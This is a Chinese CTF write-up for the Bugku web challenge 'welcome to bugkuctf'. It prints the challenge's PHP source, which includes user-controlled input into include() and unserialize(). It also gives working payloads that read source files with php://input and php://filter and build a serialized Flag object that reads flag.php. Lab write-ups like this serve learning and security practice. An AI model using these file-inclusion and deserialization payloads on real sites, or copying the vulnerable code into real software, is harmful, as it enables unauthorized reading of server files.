Bugku——welcome to bugkuctf

题目链接:http://123.206.87.240:8006/test1/

打开题目看到:you are not the number of bugku !

先看看源码:

 分析一下:通过get传参得到txt,file,password三个变量的值。如果读取出user的内容为 welcome to the bugkuctf 则输出 hello admin (然而好像并没有什么卵用)

这时候我们发现有个提示:hint.php  我们试着用下php伪协议读取hint.php 

构造payload:http://123.206.87.240:8006/test1/index.php?txt=php://input&file=php://filter/read=convert.base64-encode/resource=hint.php

post data: welcome to the bugkuctf

返回bsae64编码

解码得到源代码

 1 #hint.php
 2 <?php  
 3   
 4 class Flag{//flag.php  
 5     public $file;  
 6     public function __tostring(){  
 7         if(isset($this->file)){  
 8             echo file_get_contents($this->file); 
 9             echo "<br>";
10         return ("good");
11         }  
12     }  
13 }  
14 ?>  

同理查看一下index.php

 1 <?php  
 2 $txt = $_GET["txt"];  
 3 $file = $_GET["file"];  
 4 $password = $_GET["password"];  
 5   
 6 if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf"))  
 7    {echo "hello friend!<br>";  
 8     if(preg_match("/flag/",$file)){ 
 9         echo "不能现在就给你flag哦";
10         exit();  
11     }else{  
12         include($file);   
13         $password = unserialize($password);  
14         echo $password;  
15     }  
16 }else{  
17     echo "you are not the number of bugku ! ";  
18 }  
19   
20 ?>  
21   
22 <!--  
23 $user = $_GET["txt"];  
24 $file = $_GET["file"];  
25 $pass = $_GET["password"];  
26   
27 if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){  
28     echo "hello admin!<br>";  
29     include($file); //hint.php  
30 }else{  
31     echo "you are not admin ! ";  
32 }  
33  -->  

 

我们发现当Flag方法当做字符串执行时,会自动执行 __tostring 方法,方法中写了如果file文件存在,那么就输出file文件中的内容。

这不正是我们要解决的输出flag.php内容的情况吗???所以我们要构造一个Flag类型的参数,并把这个参数传给password然后get进去。并且这个file的值要是hint.php(因为要利用hint.php中的函数),即:————根据php序列化的结果,得到:O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

1  <?php  
2 class Flag{
3     public $file;    
4               }    
5      $a = new Flag();  
6      $a->file = "flag.php";  
7      $a = serialize($a);  
8      print_r($a);  
9 ?>
构造payload:?txt=php://input&file=hint.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
post data : welcome to the bugkuctf

得到flag

 



转载于:https://www.cnblogs.com/So7cool/p/9849848.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值